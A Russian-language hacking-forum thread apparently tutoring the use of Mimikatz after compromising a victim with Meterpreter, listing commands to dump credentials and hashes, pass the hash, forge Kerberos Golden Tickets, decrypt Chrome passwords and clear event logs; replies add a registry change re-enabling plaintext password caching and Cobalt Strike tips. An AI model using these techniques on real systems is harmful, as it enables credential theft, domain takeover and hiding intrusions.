Статьи Ох уж этот mimikatz

Discussion in 'Статьи' started by SooLFaa, 3 Apr 2017.

  1. SooLFaa

    SooLFaa Members of Antichat

    Joined:
    17 Mar 2014
    Messages:
    530
    Likes Received:
    499
    Reputations:
    154
    Всем привет. Поговорим о небольшом в каком - то смысле, но очень мощном постэксплуатационном фреймворке Mimikatz.

    Cсылочка на вики: https://github.com/gentilkiwi/mimikatz/wiki
    Ссылочка где ещё почитать: https://adsecurity.org/?page_id=1821#SEKURLSAKerberos
    Ссылочка на гит: https://github.com/gentilkiwi/mimikatz
    Ссылочка на метасплоит с мимикатзом: https://www.offensive-security.com/metasploit-unleashed/mimikatz/


    Ну а я же в вкратце освещу всё, что написано в сие ссылках и добавлю от себя.
    Итак, поехали, мы захватили компьютер жертвы с помощью метерпретера и теперь надо пробросить mimikatz. Для этого выполняем команду:
    Code:
    load mimikatz
    В результате получаем следующее...
    [​IMG]
    Открываем help и погнали
    [​IMG]
    Видим, что нам доступны некоторые опции (на самом деле это опции из модуля sekurlsa).
    Для того чтобы узреть все модули мимикатца, необходимо выполнить команду с любым несуществующим модулем.
    Code:
    mimikatz_command -f antichat::
    [​IMG]
    Чтобы увидеть опции любого модуля выполним же следующую команду(Напоминаю, что пока мы работаем в meterpreter console):
    Code:
    mimikatz_command -f crypto::
    В результате получим список опций этого модуля.
    [​IMG]
    Воспользуемся первой из опции и взглянем какие криптопровайдеры установлены на моей машине.
    [​IMG]
    На этом я закончу смотреть на мимикатц через метерпретер и воспользуемся его бинарной сборкой для удобства описания модулей и практики. Для этого я накатил windows server 2012 с установленными Active Directory и Цербером. Об этом позже, а пока вспомним какие модули есть.

    Модули

    module ~ crypto
    – достаточно старый модуль, позволяет ресерчить CryptoApi провайдеры, но сегодня это уже мало что дает.
    1) crypto:: providers – вывести список всех криптопровайдеров
    2) crypto::stores – вывести все логические хранилища сертификатов в системном окружении
    [​IMG]
    3) crypto::certificates – перечисляет сертификаты и ключи, так же может их экспортировать
    [​IMG]
    4) crypto::keys – перечисляет установленные ключи
    [​IMG]
    5) crypto::hash – функция говорит сама за себя. Получаем хешики пользователя
    [​IMG]
    6) crypto::capi – делает неэкспортируемые ключи – экспортируемыми
    [​IMG]

    module ~ privilegeмодуль для получения определенных прав и повышение привилегий
    1) privilege::debug - если у вас не работают некоторые модули выполните эту опцию. Позволяет внедряться в чужие процессы и производить их отладки.
    2) privilege::driver – Получить привилегии на загрузку драйверов.
    3) privilege::security – Получить привилегии на изменение политики безопасности.
    4) privilege::backup – Получаем права на архивирование файлов
    5) privilege::restore – Получаем права на восстановление бэкапов
    6) privilege::sysenv – Получаем права на управление переменными окружения
    [​IMG]

    module ~ sekurlsa – модуль для хищения паролей, важное условие, модуль работает только от админа и перед ним получить права на debug.
    1) sekurlsa::logonpasswords – получить хеши залогиненных пользователей
    [​IMG]
    2) sekurlsa::wdigest – получить хеши залогиненных пользователей (в открытом виде из wdigest)
    [​IMG]
    3) sekurlsa::msv – тоже самое + CredentionalKeys
    [​IMG]
    4) sekurlsa::tspkg – сервис для управления фрагментацией реестра, в том числе через него можно получить креды.
    [​IMG]
    5) sekurlsa::livessp – ещё одна служба, которая позволяет получать креды в открытом виде.
    6) sekurlsa:: process – переключиться в LSASS, чтобы снифать пассы.
    7) sekurlsa:: pth - – запустить процесс от имени конкретного пользователя, используя его хэш а не пароль, по дефолту cmd.
    [​IMG]
    8) sekurlsa::tickets – получить все билеты Цербера
    [​IMG]
    9) sekurlsa::krbtgt – получить все TGT билеты в текущей сессии
    [​IMG]
    10) sekurlsa::dpapisystem – Получить системный расшифрованный ключ
    [​IMG]

    module ~ dpapi – модуль для работы с криптопротоколом DPAPI, идея в том что текст может быть расшифрован только на машине на котором он был зашифрован на основе BLOB объекта и мастер ключа.
    1) dpapi::blob – непосредственно BLOB объект позволяет шифровать и дешифровать с помощью алгоритма DPAPI
    2) dpapi::chrome – расшифровать пароли GOOGLE CHROME

    module ~ event – модуль для очистки журнала событий
    1) event::drop – остановить сервис легирования
    2) event::clear - просто очистить логи
    [​IMG]
     
    _________________________
    #1 SooLFaa, 3 Apr 2017
    Last edited: 8 May 2017
    jixer, uzeerpc, Lam3rsha and 8 others like this.
  2. SooLFaa

    SooLFaa Members of Antichat

    Joined:
    17 Mar 2014
    Messages:
    530
    Likes Received:
    499
    Reputations:
    154
    module ~ kerberos -
    модуль для работы с Цербером, а вот тут мы поговорим по подробнее……

    Протокол Kerberos – я бы сказал это фундаментальный протокол безопасной аутентификации, который централизовано хранит себе сессионные данные. Протокол сей является фундаментом для многих Single-Sign-On (Один раз войди во все приложения сразу).

    Ticket’ы (билеты) – в основе Цербера лежит понятие билетов. Существует некий центр распределения ключей, который был назван KDC(Key Distribution Center)

    Когда некто логинится, то при успешном вводе пароля он получает некоторый первичный билет TGT (Ticket Granting Ticket), билет - это зашифрованный пакет данных. Этот билет как вход на крутую хакерскую тусовку, где куча интерактивов и прочего, но когда мы подходим к конкретному стенду, на основании одного только TGT, мы не можем пройти и поэтому мы запрашиваем ещё один билет TGS – и только тогда проходим. Можно придумать аналог с хекерским форумом, для доступа на который мы вводим логин и пароль и попадаем на публичный форум, а вот, чтобы попасть в приватные группы, надо обладать еще какими - то привилегиями.

    А что же такое Golden Ticket(Золотой билет)?! Судя по названию это некий универсальный билет, ключ от всех замков. Но на самом деле это билет для предоставления билетов, похитив его, мы получаем власть над всеми билетами.

    Ну а теперь, когда мы знаем о Цербере всё, что надо. Посмотрим на то, что нам предлагает мимикатз...

    1)
    kerberos:: ptt Pass-The-Ticket Внедрить один или несколько билетов TGT или TGS в текущую сессию
    Сгенерируем новый билет с помощью golden тикета и положим его в файл.
    Code:
    /kerberos::golden /user:Administrator /domain:<Domain> /sid:<SID> /krbtgt:<TGT билет админа> остальные опции означают записи в группы можно оставить без измений.
    [​IMG]
    [​IMG]
    2) kerberos::list Список всех билетов в текущей сессии
    [​IMG]
    3) kerberos::tgt – Все ТГТ билеты в стекущей сессии
    [​IMG]
    4) kerberos: purge – удалить все билеты с текущей сессии
    [​IMG]
    [​IMG]
    5) kerberos::golden – Реализация атаки с помощью golden ticket где /user – имя админа /sid SSID домена (можно узнать как whoami /user и без последней части цифр будет sid домена последние 3-4 цифры это номер юзера в домене)
    [​IMG]
    6) kerberos::hash – получить хэшик текущего пользователя залогиненого через Цербера
    [​IMG]

    module ~ minesweeper - Показать флажки в игре сапёр. Абсолютно бесполезная опция. Думаю добавлена для фана;

    module ~ miscобщие модули
    1) misc::cmd – вызвать cmd окошко под текущим юзвером
    2) misc::regedit – вызвать менеджер редактирования реестра
    3) misc::taskmgr – вызвать таск менеджер он же «Диспетчер задач»
    4) misc::detours – чекаем процессы
    [​IMG]
    5) misc::memssp инжектимся в память и перехватываем хешики пользователей
    [​IMG]
    6) misc::compressme – сжимает текущий файл mimikatz.exe
    [​IMG]

    module ~ netмодуль для работы с локальными группами
    1) net::user – список пользователей в системе
    [​IMG]
    2) net::group – Какой пользователь в какой групповой политике
    [​IMG]
    3) net::wsession – список последних сессий
    [​IMG]
    4) net::tod – время на удаленной тачке
    [​IMG]

    module ~ sidмодули для работы с пользовательским id
    1) sid::lookup – узнать кому принадлежит sid
    [​IMG]

    module ~ token - модуль по работе с токенами пользователей
    1) token::whoami – сведения о текущем пользователе
    [​IMG]
    2) token::list – список выданных токенов
    [​IMG]
    3) token::elevate – делегировать token
    4) token::revert – откатить токен(разлогин)
    Первоисточник: codeby.net
    Ну и на последок видосик реализации атаки Golden Ticket
     
    _________________________
    #2 SooLFaa, 3 Apr 2017
    Last edited: 8 May 2017
    uzeerpc, Lam3rsha, to.Index and 5 others like this.
  3. Veil

    Veil Banned

    Joined:
    21 May 2015
    Messages:
    2,025
    Likes Received:
    3,355
    Reputations:
    72
    Очень нужная и доходчивая статья. Автору респект.
     
    Suicide likes this.
  4. SooLFaa

    SooLFaa Members of Antichat

    Joined:
    17 Mar 2014
    Messages:
    530
    Likes Received:
    499
    Reputations:
    154
    А про sekurlsa:: я писал. А разрядность я в х64 работал. Подгрузка в память да, АВ ест его на завтрак а вот если через powershell нет
     
    _________________________
  5. SooLFaa

    SooLFaa Members of Antichat

    Joined:
    17 Mar 2014
    Messages:
    530
    Likes Received:
    499
    Reputations:
    154
    Вот Ваня цитата.
     
    _________________________
  6. Kevin Shindel

    Kevin Shindel Elder - Старейшина

    Joined:
    24 May 2015
    Messages:
    1,011
    Likes Received:
    1,192
    Reputations:
    62
    SooLFaa респект!
    Есть предложение... у меня есть слабый тазик для тестирования метасплоита, потому что статей много но это все теория, а вот с практикой всё гораздо печальней. Если бы мне гуру подсказали что и как установить я бы предоставил тазик для уничтожения сообществу.
     
    Veil likes this.
  7. Veil

    Veil Banned

    Joined:
    21 May 2015
    Messages:
    2,025
    Likes Received:
    3,355
    Reputations:
    72
    Поддерживаю.Мне бы тоже хотелось попрактиковаться,ибо с практикой вообще беда.
     
  8. SooLFaa

    SooLFaa Members of Antichat

    Joined:
    17 Mar 2014
    Messages:
    530
    Likes Received:
    499
    Reputations:
    154
    Есть такой ресурс vulnhub. там куча уязвимых образов на любой лад, рекомендую.
     
    _________________________
  9. p1nk_pwny

    p1nk_pwny New Member

    Joined:
    26 Apr 2017
    Messages:
    1
    Likes Received:
    4
    Reputations:
    0
    Небольшое замечание к статье. После обновлений KB2871997 KB2928120 LSASS по умолчанию не хранит пароли в открытом виде а хеширует.
    Чтобы устранить это досадное недоразумение необходимо прописать в ключе реестра

    HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest значение 1

    Подробнее тут

    Далее необходимо устроить релогин пользователя и все вернется на круги своя.
     
  10. moonden

    moonden Member

    Joined:
    3 Jul 2010
    Messages:
    45
    Likes Received:
    7
    Reputations:
    0
    Немного не точно, точнее совсем неправильно. По пути указанному выше, нужно найти DWORD параметр "UseLogonCredential" и вот ему уже прописать значение 1

    P.S. Пробывал на 2012 сервере, все равно ни Mimikatz, ни WCE пароли не перехватывают (авера нет). На многих других дедах норм. Видимо есть еще какая-то причина.
     
    binarymaster likes this.
  11. Veil

    Veil Banned

    Joined:
    21 May 2015
    Messages:
    2,025
    Likes Received:
    3,355
    Reputations:
    72
    Что-то мимикактз не очень хочет работать на Кобальте Страйке. Надписи как на грузинском чае.
    Хэши NTLM вижу, но не дешифрует, хотя пароль простой. Что делаю не так?
     
  12. erwerr2321

    erwerr2321 Elder - Старейшина

    Joined:
    19 Jun 2015
    Messages:
    4,236
    Likes Received:
    26,249
    Reputations:
    148
    непереводимая игра слов? :)
     
  13. Kevin Shindel

    Kevin Shindel Elder - Старейшина

    Joined:
    24 May 2015
    Messages:
    1,011
    Likes Received:
    1,192
    Reputations:
    62
    его макаронник наверное писал, онкологичная картина...
     
  14. Veil

    Veil Banned

    Joined:
    21 May 2015
    Messages:
    2,025
    Likes Received:
    3,355
    Reputations:
    72
    Прикол приколом. Но все таки?
    Слов нет, удобная штука Кобальт. Даже в мимикатз ничего набивать практически не надо, все скрипты делают. Но что-то не получается.

    [​IMG]

    [​IMG]
     
    #14 Veil, 6 Sep 2017
    Last edited: 6 Sep 2017
  15. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,717
    Likes Received:
    10,195
    Reputations:
    126
    Кодировки... OEM vs. ANSI, как всегда (в данном случае Win-1251 против Win-1252).

    Сохраните вывод mimikatz в какой-нибудь файл (через редирект stdout), и скачайте его себе.
     
    Veil likes this.
  16. Kevin Shindel

    Kevin Shindel Elder - Старейшина

    Joined:
    24 May 2015
    Messages:
    1,011
    Likes Received:
    1,192
    Reputations:
    62
    можно через spools /home/log.txt
     
    Veil likes this.
  17. Veil

    Veil Banned

    Joined:
    21 May 2015
    Messages:
    2,025
    Likes Received:
    3,355
    Reputations:
    72
    Надо логи Кобальта посмотреть, он что-то ведет, что-то пишет)). Заодно и узнаю, чего он там пишет.
     
  18. Veil

    Veil Banned

    Joined:
    21 May 2015
    Messages:
    2,025
    Likes Received:
    3,355
    Reputations:
    72
    Mimikatz в Кобальте работает, но не полностью. Некоторые функции не работают. С чем может это быть связано?
     
  19. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,717
    Likes Received:
    10,195
    Reputations:
    126
    Какие именно функции?
     
  20. Veil

    Veil Banned

    Joined:
    21 May 2015
    Messages:
    2,025
    Likes Received:
    3,355
    Reputations:
    72
    Крипто, модули, с кербосом пока разбираюсь. Часть работает, а вот часть нет. Показывает, что сервак работает, но на этом все.
    К примеру .
    mimikatz sekurlsa::logonpasswords не хочет работать.